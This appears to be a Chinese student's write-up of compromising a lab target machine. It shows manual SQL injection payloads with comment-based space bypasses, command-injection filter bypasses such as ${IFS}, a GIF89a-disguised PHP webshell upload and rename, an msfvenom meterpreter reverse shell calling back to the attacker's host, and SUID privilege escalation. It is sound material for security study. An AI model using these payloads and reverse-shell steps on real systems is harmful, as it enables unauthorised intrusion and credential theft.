这次环境用的是NAT模式,靶机难度适中,还是非常有意思的,如果对大家有帮助,感谢大佬们关注加点赞,谢谢!!!
1. 开局使用“小块灵” arp扫描,确定攻击的靶机ip。
arp-scan -l //arp扫描,比nmap会快一点
注释:192.168.159.2 是一个内网IP地址,通常是分配给手机、台式机、笔记本电脑、电视、智能音箱等设备使用,内网也还有一个尾数为1的IP 192.168.159.1 ,通常是作为对外的网关使用,而192.168.159.254是一个广播地址。
得到可疑ip,进行信息收集一波!
2.使用nmap进行信息收集
nmap我习惯全扫一下,可以得到更多的信息!!
nmap -p- -sV -O -A <ipaddress> -oN <filename>
看到开放端口22和80,优先攻击80!!
3.80端口攻击
直接看看网站长什么样!
很常见的登陆界面,先dirsearch扫一下,看看有没有惊喜!
挖到了点东西,没啥用,都是什么注册和空网页,那我们直接注册就完事了!
注册完成,直接往里登陆!!
4.sql注入(手工)
一个线上书籍目录,一眼丁真,跟数据库交互,有sql注入!!!这个是post传输,因为url上没反应,所以直接抓包,一看还真有!
search=%' 'a'='a'#
search=%' 'a'='ab'#//判断是否有sql注入
知识点:判断sql注入,先看看你的操作会不会影响数据的变化,简单来说看看你能不能操控数据的出现和消失!!!
可以用sqlmap来,不过我就是想用手工,但是感兴趣的朋友可以试一下!
sqlmap参数解释:
--level=5:一共有5个等级(1-5) 不加 level 时,默认是1
5级包含的payload最多,会自动破解出cookie、XFF等头部注入,相对应他的速度也比较慢。
tamper:sqlmap自带绕waf脚本
--dbs:爆数据库名
--risk:风险等级,共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试
先看看当前数据库!
注意:在测试的时候发现空格不能用,所以就用/**/代替!
%' union/**/select/**/database(),2,3#
爆数据库中的表名!
union/**/select/**/table_name,2,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
发现有books和users两个表
爆表中列名!!
发现了name和pasword敏感信息
爆内容了!
发现进行了加密,使用md5进行解密!!
5.文件上传与命令执行
发现有功能,一个是文件上传,一个是查询用户
发现文件上传做了过滤
那先看看下面的用户查询
抓包发现5*4竟然算出来了,说明这里就有命令执行的漏洞
system('命令')
结果不太对,没反应,是不是空格被过滤了?
重点:空格绕过方法
< -- 重定向,如cat<flag.php
<> -- 重定向,如cat<>flag.php
%09 -- 需要php环境,如cat%09flag.php
${IFS} -- 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
想的没错,那接下来就有思路了,上传一个图片吗木马,后缀先不变,再用命令去改它的后缀,最后去连接!
重点:因为害怕上传图片功能会对文件头进行检查,我用了GIF欺骗,加了文件头GIF89a。
文件传上去了,路径在哪啊,想到了看一下目录,
看到了welcomeadmin.php,看看源码里有没有泄露什么。
运气真好,直接找到了,看一下能不能访问我的1.gif文件?
可以的,那现在就改文件名的后缀为.php
system('mv${IFS}/var/www/html/uploads/year2020/1.gif${IFS}/var/www/html/uploads/year2020/1.php')
再访问一下!
ok没问题,直接上蚁剑!!!
6.提权
最后就是提权了,我的思路是上传一个木马弹到kali里去,因为蚁剑里的虚拟终端不太好用
用kali中的msfvenom生成一个木马
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.159.141 lport=7777 R > shell.php
生成好的木马通过蚂剑放入目录里去
现在用msf里的mutli模块进行监听,这一步一定要先做!!
输入自己的ip地址,以及刚才在上面木马中自己设置的端口,payload也别忘了!!
payload:php/meterpreter/reverse_tcp
直接run,开始监听!!
再去访问shell.php
ok,反弹出来了之后,直接用python反弹一个相对完整的终端!
python -c 'import pty;pty.spawn("/bin/bash")'
用find找一下有没有suid提权的可能!
suid简单来说就是有临时root的权限,所以有提权可能
找到了!!!最后进入/home/legacy的touchmenot,执行文件,获得root!
这个遍写边做三个小时的靶机报告结束了,也希望各位大佬多多支持+关注在校生哈哈哈哈,也希望可以与大家多多交流学习,那我们下一个靶机见!!